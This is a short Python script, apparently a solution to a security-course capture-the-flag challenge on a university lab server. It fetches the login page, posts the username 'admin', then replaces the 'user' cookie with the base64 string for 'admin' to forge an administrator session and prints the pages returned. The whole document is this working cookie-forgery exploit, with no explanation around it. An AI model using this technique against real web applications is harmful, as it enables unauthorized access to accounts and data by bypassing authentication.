from requests import Session BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25056" sesh = Session() resp = sesh.get(BASE+"/") content = resp.content.decode('utf-8') print(content) resp = sesh.post(BASE+"/", data={"username": "admin"}) content = resp.content.decode('utf-8') print(content) print(sesh.cookies) for c in sesh.cookies: if c.name == "user": c.value = "YWRtaW4=" resp = sesh.get(BASE+"/") content = resp.content.decode('utf-8') print(content) print(sesh.cookies)